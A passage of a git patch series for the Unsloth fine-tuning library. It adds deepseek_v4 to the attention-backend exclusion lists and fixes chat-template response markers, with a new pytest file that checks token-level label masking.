+            ng, out_per, hidden = ctx.n_groups, ctx.out_per, ctx.x_shape[-1]
+            W = _fp8_grouped_dequant(weight, scale_inv, ctx.block_size, ctx.dtype).view(
+                ng, out_per, hidden
+            )
+            gy = grad_y.reshape(-1, ng, out_per).transpose(0, 1)
+            grad_x = torch.bmm(gy, W).transpose(0, 1).reshape(ctx.x_shape)
+            grad_bias = gy.sum(1).reshape(-1) if ctx.has_bias else None
+            return grad_x, None, None, None, None, grad_bias
+
+    def _fp8_grouped_forward(self, x):
+        if self.weight.element_size() > 1 or not self.training:
+            return _fp8_grouped_forward_orig(self, x)
+        bias = self.bias if self.has_bias else None
+        return _FP8GroupedMM.apply(
+            x,
+            self.weight,
+            self.weight_scale_inv,
+            self.n_groups,
+            getattr(self, "block_size", None),
+            bias,
+        )
+
+    FP8GroupedLinear.forward = _fp8_grouped_forward
diff --git a/unsloth/models/_utils.py b/unsloth/models/_utils.py
index fa0e0b1c49..ae3b94ecc8 100644
--- a/unsloth/models/_utils.py
+++ b/unsloth/models/_utils.py
@@ -424,7 +424,7 @@ def apply_unsloth_gradient_checkpointing(use_gradient_checkpointing, max_seq_len
 # access on some GPU architectures (B200). Falls back to eager safely.
 _FLEX_EXCLUDED_MODELS = ("gpt_oss", "mllama", "nemotron_h", "modernbert")
 _FLEX_PREFERRED_MODELS = ("gemma3", "gemma3_text", "shieldgemma2")
-_SDPA_EXCLUDED_MODELS = ("gpt_oss",)
+_SDPA_EXCLUDED_MODELS = ("gpt_oss", "deepseek_v4")
 # The loader (loader.py) forces supports_sdpa=False for these because their bundled
 # SDPA modules are wrong. Kept here, not in loader.py, so _is_sdpa_excluded can honor
 # them without a loader -> _utils import cycle (loader.py already imports from _utils
@@ -437,8 +437,10 @@ DISABLE_SDPA_MODEL_NAMES = [
     "gemma3_text",  # Gemma3TextModel (EmbeddingGemma) - substring match, keep underscore
     "gpt_oss",
 ]
-_FLASH_EXCLUDED_MODELS = ("gpt_oss",)
-_EAGER_ONLY_PREFIXES = ("gemma3n",)
+_FLASH_EXCLUDED_MODELS = ("gpt_oss", "deepseek_v4")
+# deepseek_v4's custom attention is sdpa/flash-incompatible; force eager, and
+# excluded above so an explicit sdpa/flash request cannot re-enable the crash.
+_EAGER_ONLY_PREFIXES = ("gemma3n", "deepseek_v4")
 _FLASH_ATTENTION_MAX_HEAD_DIM = 256
 _FLASH_ATTENTION_DISABLED_WARNED = set()
 

From 275bad1f644c730b9d3ed354bfc3a6cc6fdcb0d9 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Sat, 11 Jul 2026 21:29:19 -0700
Subject: [PATCH 306/306] Studio: fix the manual response-template markers that
 never match their rendered templates (#7062)

* Fix broken manual response-template markers in Studio's fallback table

Six template families in TEMPLATE_TO_RESPONSES_MAPPER shipped markers that
never match what their chat templates actually render, so the manual
train_on_completions path masked every assistant token and the run died on
the all-labels-masked safety net:

- mistral, llama: '[INST] ' / ' [/INST]' - the surrounding spaces fold into
  the neighbouring tokens ('[INST]'/'[/INST]' are single special tokens in
  Mistral v0.3, SentencePiece pieces in Llama-2), so the padded strings
  never match. Now '[INST]' / '[/INST]'.
- starling: trailing space after 'GPT4 Correct Assistant:' folds into the
  next content token. Now no trailing space.
- glm: '[gMASK]<sop>' renders once at text start, never before later user
  turns, and '<think>' is generation scaffolding rendered as a lone
  '</think>' on non-final turns. Now '<|user|>' / '<|assistant|>'.
- qwen3-thinking: '<think>' is stripped from non-final assistant turns
  (Qwen3-Thinking-2507) and never rendered by QwQ. Now the bare assistant
  header, matching the other qwen entries.
- zephyr: role tags are plain text and SentencePiece tokenizes them
  differently at text start than after '</s>' + newline mid-conversation;
  the markers need the leading newline anchor. Now '\n<|user|>\n' /
  '\n<|assistant|>\n'.

Validated token-level on each family's representative tokenizer with a
two-turn fixture plus system message: user and system content fully masked,
every assistant turn trained, and the final EOS label never -100. The
fixed mistral, llama, starling and glm markers produce labels identical to
zoo auto-detection; qwen3-thinking differs only in one turn-separator
newline token. All 22 unchanged entries produce byte-identical labels to
before this change.

Adds tests/test_response_template_markers.py pinning the fixed and key
unchanged marker literals (dependency-free) plus token-level masking checks
that skip when tokenizers or unsloth_zoo are unavailable offline.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Close tokenizer config handle and read it as UTF-8

Chat templates in tokenizer_config.json are rarely ASCII-only, so the
default locale codec could fail the GLM fallback loader on Windows.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten comments

* Anchor the llama marker on <s> and harden the marker test

On transformers 5.x llama-2 tokenizes [INST] after <s> as a bare left
bracket while the standalone encoding gives the space-prefixed piece, so
the unanchored marker missed every turn boundary and later user turns
leaked into training; 4.57 masked this. Anchoring on <s>[INST] matches
both tokenizations, verified token-level under 4.57.6 and 5.5.0.

The test now unwraps the BatchEncoding that apply_chat_template returns
on 5.x before indexing, and the latent trailing spaces in the unreachable
unsloth and vicuna entries are dropped for table consistency.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 .../tests/test_response_template_markers.py   | 216 ++++++++++++++++++
 .../backend/utils/datasets/model_mappings.py  |  47 ++--
 2 files changed, 248 insertions(+), 15 deletions(-)
 create mode 100644 studio/backend/tests/test_response_template_markers.py

diff --git a/studio/backend/tests/test_response_template_markers.py b/studio/backend/tests/test_response_template_markers.py
new file mode 100644
index 0000000000..8c813e62f2
--- /dev/null
+++ b/studio/backend/tests/test_response_template_markers.py
@@ -0,0 +1,216 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""TEMPLATE_TO_RESPONSES_MAPPER markers must match what the templates render.
+
+The manual instruction/response markers are the fallback for
+train_on_completions when auto-detection is unavailable, so a marker that
+never matches the rendered chat template masks every assistant token and the
+run dies on the all-labels-masked safety net. Six template families shipped
+such markers:
+
+  mistral           - "[INST] " / " [/INST]": the surrounding spaces fold into
+                      the neighbouring tokens ("[INST]" is a single special
+                      token in Mistral v0.3), so the padded strings never match.
+  llama             - same space folding, plus llama-2 tokenizes [INST] after
+                      <s> as bare "[" on transformers 5.x while the standalone
+                      encoding gives "▁[", so the marker must anchor on <s>.
+  starling          - trailing space after "GPT4 Correct Assistant:" folds
+                      into the next content token ("▁Hello").
+  glm               - "[gMASK]<sop>" renders once at text start, never before
+                      later user turns; "<think>" is generation scaffolding
+                      that non-final turns render as a lone "</think>".
+  qwen3-thinking    - "<think>" is stripped from non-final assistant turns
+                      (Qwen3-Thinking-2507) or never rendered (QwQ).
+  zephyr            - role tags are plain text, and SentencePiece tokenizes
+                      "<|assistant|>" differently at text start than after
+                      "</s>\\n" mid-conversation; the markers need the leading
+                      newline anchor to tokenize like a real turn boundary.
+
+Literal assertions run everywhere; the token-level masking checks need the
+representative tokenizers plus unsloth_zoo and skip when either is
+unavailable (offline CI).
+"""
+
+from __future__ import annotations
+
+import importlib.util
+import sys
+from pathlib import Path
+
+import pytest
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+# model_mappings is dependency-free: load it directly so these tests run
+# without the studio venv / package import side effects.
+_MM_PATH = Path(_BACKEND_DIR) / "utils" / "datasets" / "model_mappings.py"
+_mm_spec = importlib.util.spec_from_file_location("_marker_test_mm", _MM_PATH)
+model_mappings = importlib.util.module_from_spec(_mm_spec)
+_mm_spec.loader.exec_module(model_mappings)
+
+T2R = model_mappings.TEMPLATE_TO_RESPONSES_MAPPER
+
+
+# ── Fixed entries: markers derived from what each representative tokenizer
+#    actually renders (see PR for the token-level derivation). ──
+EXPECTED_FIXED = {
+    "mistral": {"instruction": "[INST]", "response": "[/INST]"},
+    "llama": {"instruction": "<s>[INST]", "response": "[/INST]"},
+    "starling": {"instruction": "GPT4 Correct User:", "response": "GPT4 Correct Assistant:"},
+    "glm": {"instruction": "<|user|>", "response": "<|assistant|>"},
+    "qwen3-thinking": {"instruction": "<|im_start|>user\n", "response": "<|im_start|>assistant\n"},
+    "zephyr": {"instruction": "\n<|user|>\n", "response": "\n<|assistant|>\n"},
+}
+
+# Spot-pin some known-good entries so a refactor cannot silently change them.
+EXPECTED_UNCHANGED = {
+    "qwen3": {"instruction": "<|im_start|>user\n", "response": "<|im_start|>assistant\n"},
+    "llama-3.1": {
+        "instruction": "<|start_header_id|>user<|end_header_id|>\n\n",
+        "response": "<|start_header_id|>assistant<|end_header_id|>\n\n",
+    },
+    "phi-4": {
+        "instruction": "<|im_start|>user<|im_sep|>",
+        "response": "<|im_start|>assistant<|im_sep|>",
+    },
+    "gemma-3": {"instruction": "<start_of_turn>user\n", "response": "<start_of_turn>model\n"},
+    "gpt-oss": {
+        "instruction": "<|start|>user<|message|>",
+        "response": "<|start|>assistant<|channel|>final<|message|>",
+    },
+}
+
+
+@pytest.mark.parametrize("template", sorted(EXPECTED_FIXED))
+def test_fixed_marker_literals(template):
+    assert T2R[template] == EXPECTED_FIXED[template]
+
+
+@pytest.mark.parametrize("template", sorted(EXPECTED_UNCHANGED))
+def test_unchanged_marker_literals(template):
+    assert T2R[template] == EXPECTED_UNCHANGED[template]
+
+
+def test_no_marker_is_empty_or_whitespace():
+    for template, parts in T2R.items():
+        assert parts["instruction"].strip(), template
+        assert parts["response"].strip(), template
+
+
+# ── Token-level checks: markers must select exactly the assistant turns on a
+#    rendered two-turn fixture, and the final EOS label must never be -100. ──
+
+REPRESENTATIVES = {
+    "mistral": ["unsloth/mistral-7b-instruct-v0.3"],
+    "llama": ["unsloth/llama-2-7b-chat"],
+    "starling": ["unsloth/Starling-LM-7B-beta"],
+    "glm": ["unsloth/GLM-4.7-Flash"],
+    "qwen3-thinking": ["unsloth/Qwen3-4B-Thinking-2507", "Qwen/QwQ-32B"],
+    "zephyr": ["unsloth/zephyr-sft"],
+}
+
+FIXTURE = [
+    {"role": "user", "content": "zebra alpha question one?"},
+    {"role": "assistant", "content": "grape reply number one."},
+    {"role": "user", "content": "zebra beta question two?"},
+    {"role": "assistant", "content": "grape reply number two."},
+]
+
+
+def _load_tokenizer(repo):
+    try:
+        from transformers import AutoTokenizer
+    except Exception as e:  # pragma: no cover
+        pytest.skip(f"transformers unavailable: {e}")
+    try:
+        return AutoTokenizer.from_pretrained(repo)
+    except OSError as e:
+        pytest.skip(f"tokenizer {repo} unavailable (offline?): {e}")
+    except Exception:
+        # Tokenizer class newer than this transformers (e.g. GLM-4.7's
+        # TokenizersBackend): build directly from tokenizer.json.
+        try:
+            import json as _json
+            from huggingface_hub import hf_hub_download
+            from transformers import PreTrainedTokenizerFast
+
+            with open(hf_hub_download(repo, "tokenizer_config.json"), encoding = "utf-8") as f:
+                cfg = _json.load(f)
+            tok_file = hf_hub_download(repo, "tokenizer.json")
+
+            def _tokval(v):
+                return v["content"] if isinstance(v, dict) else v
+
+            return PreTrainedTokenizerFast(
+                tokenizer_file = tok_file,
+                chat_template = cfg.get("chat_template"),
+                **{
+                    k: _tokval(cfg[k])
+                    for k in ("bos_token", "eos_token", "pad_token", "unk_token")
+                    if cfg.get(k) is not None
+                },
+            )
+        except Exception as e:
+            pytest.skip(f"tokenizer {repo} unavailable (offline?): {e}")
+
+
+def _train_on_responses_only():
+    try:
+        from unsloth_zoo.dataset_utils import train_on_responses_only
+    except Exception as e:
+        pytest.skip(f"unsloth_zoo unavailable: {e}")
+    return train_on_responses_only
+
+
+@pytest.mark.parametrize(
+    "template,repo",
+    [(t, r) for t, repos in sorted(REPRESENTATIVES.items()) for r in repos],
+)
+def test_fixed_markers_token_level(template, repo):
+    tor = _train_on_responses_only()
+    tok = _load_tokenizer(repo)
+    parts = T2R[template]
+
+    msgs = [{"role": "system", "content": "You are a terse assistant."}] + FIXTURE
+    try:
+        ids = tok.apply_chat_template(msgs, tokenize = True, add_generation_prompt = False)
+        if hasattr(ids, "keys"):
+            ids = ids["input_ids"]  # transformers 5.x returns a BatchEncoding
+    except Exception:
+        ids = tok.apply_chat_template(FIXTURE, tokenize = True, add_generation_prompt = False)
+        if hasattr(ids, "keys"):
+            ids = ids["input_ids"]
+
+    fn = tor(
+        None,
+        instruction_part = parts["instruction"],
+        response_part = parts["response"],
+        tokenizer = tok,
+        return_function = True,
+    )
+    labels = fn({"input_ids": [list(ids)]})["labels"][0]
+
+    n = len(ids)
+    trained = tok.decode([ids[i] for i in range(n) if labels[i] != -100])
+    masked = tok.decode([ids[i] for i in range(n) if labels[i] == -100])
+
+    # User and system content fully masked
+    assert "question one" not in trained and "question one" in masked
+    assert "question two" not in trained and "question two" in masked
+    assert "terse assistant" not in trained
+    # EVERY assistant turn trained, not just the last
+    assert "reply number one" in trained
+    assert "reply number two" in trained
+    # The final EOS (last non-whitespace token) must never be -100, or the
+    # fine-tuned model never learns to stop generating.
+    i = n - 1
+    while i > 0 and tok.decode([ids[i]]).strip() == "":
+        i -= 1
+    assert labels[i] != -100, f"final token {tok.convert_ids_to_tokens(int(ids[i]))!r} is masked"
+
+
+if __name__ == "__main__":
+    raise SystemExit(pytest.main([__file__, "-v"]))
diff --git a/studio/backend/utils/datasets/model_mappings.py b/studio/backend/utils/datasets/model_mappings.py
index 9d2c983aed..65ba4b4688 100644
--- a/studio/backend/utils/datasets/model_mappings.py
+++ b/studio/backend/utils/datasets/model_mappings.py
@@ -485,9 +485,11 @@ TEMPLATE_TO_RESPONSES_MAPPER = {
         "instruction": "<|im_start|>user\n",
         "response": "<|im_start|>assistant\n",
     },
+    # No "<think>" suffix: Qwen3-Thinking-2507 strips it from non-final turns
+    # and QwQ renders none, so a marker holding it masks those responses.
     "qwen3-thinking": {
         "instruction": "<|im_start|>user\n",
-        "response": "<|im_start|>assistant\n<think>",
+        "response": "<|im_start|>assistant\n",
     },
     "qwen3": {
         "instruction": "<|im_start|>user\n",
@@ -525,29 +527,39 @@ TEMPLATE_TO_RESPONSES_MAPPER = {
         "instruction": "<|im_start|>user<|im_sep|>",
         "response": "<|im_start|>assistant<|im_sep|>",
     },
+    # No surrounding spaces: in Mistral v0.3 they fold into neighbouring text
+    # tokens ("[INST]"/"[/INST]" are single special tokens), so padded strings
+    # never match and everything masks. Same for Llama-2's SentencePiece.
     "mistral": {
-        "instruction": "[INST] ",
-        "response": " [/INST]",
+        "instruction": "[INST]",
+        "response": "[/INST]",
     },
     "llama": {
-        "instruction": "[INST] ",
-        "response": " [/INST]",
+        # <s>-anchored: llama-2 tokenizes [INST] after <s> as bare "[" on
+        # transformers 5.x (standalone gives space-prefixed "▁["), so an
+        # unanchored marker misses every turn boundary there.
+        "instruction": "<s>[INST]",
+        "response": "[/INST]",
     },
     "chatml": {
         "instruction": "<|im_start|>user\n",
         "response": "<|im_start|>assistant\n",
     },
+    # Leading newline required: Zephyr's role tags are plain text, and
+    # SentencePiece tokenizes "<|assistant|>" differently at text start than
+    # after "</s>\n". Without the "\n" anchor the markers never match real
+    # turns, so every assistant token masks.
     "zephyr": {
-        "instruction": "<|user|>\n",
-        "response": "<|assistant|>\n",
+        "instruction": "\n<|user|>\n",
+        "response": "\n<|assistant|>\n",
     },
     "unsloth": {
-        "instruction": ">>> User: ",
-        "response": ">>> Assistant: ",
+        "instruction": ">>> User:",
+        "response": ">>> Assistant:",
     },
     "vicuna": {
-        "instruction": "USER: ",
-        "response": "ASSISTANT: ",
+        "instruction": "USER:",
+        "response": "ASSISTANT:",
     },
     "alpaca": {
         "instruction": "### Instruction:\n",
@@ -573,16 +585,21 @@ TEMPLATE_TO_RESPONSES_MAPPER = {
         "instruction": "<|im_start|>user\n",
         "response": "<|im_start|>assistant\n",
     },
+    # No trailing space: SentencePiece folds it into the next content token
+    # ("▁Hello"), so the padded marker never matches and masks everything.
     "starling": {
-        "instruction": "GPT4 Correct User: ",
-        "response": "GPT4 Correct Assistant: ",
+        "instruction": "GPT4 Correct User:",
+        "response": "GPT4 Correct Assistant:",
     },
     "yi-chat": {
         "instruction": "<|im_start|>user\n",
         "response": "<|im_start|>assistant\n",
     },
+    # "[gMASK]<sop>" appears once at text start, so a marker holding it matches
+    # no later user turn; "<think>" is scaffolding GLM-4.x renders as a lone
+    # "</think>" on non-final turns, so "<|assistant|><think>" never matches.
     "glm": {
-        "instruction": "[gMASK]<sop><|user|>",
-        "response": "<|assistant|><think>",
+        "instruction": "<|user|>",
+        "response": "<|assistant|>",
     },
 }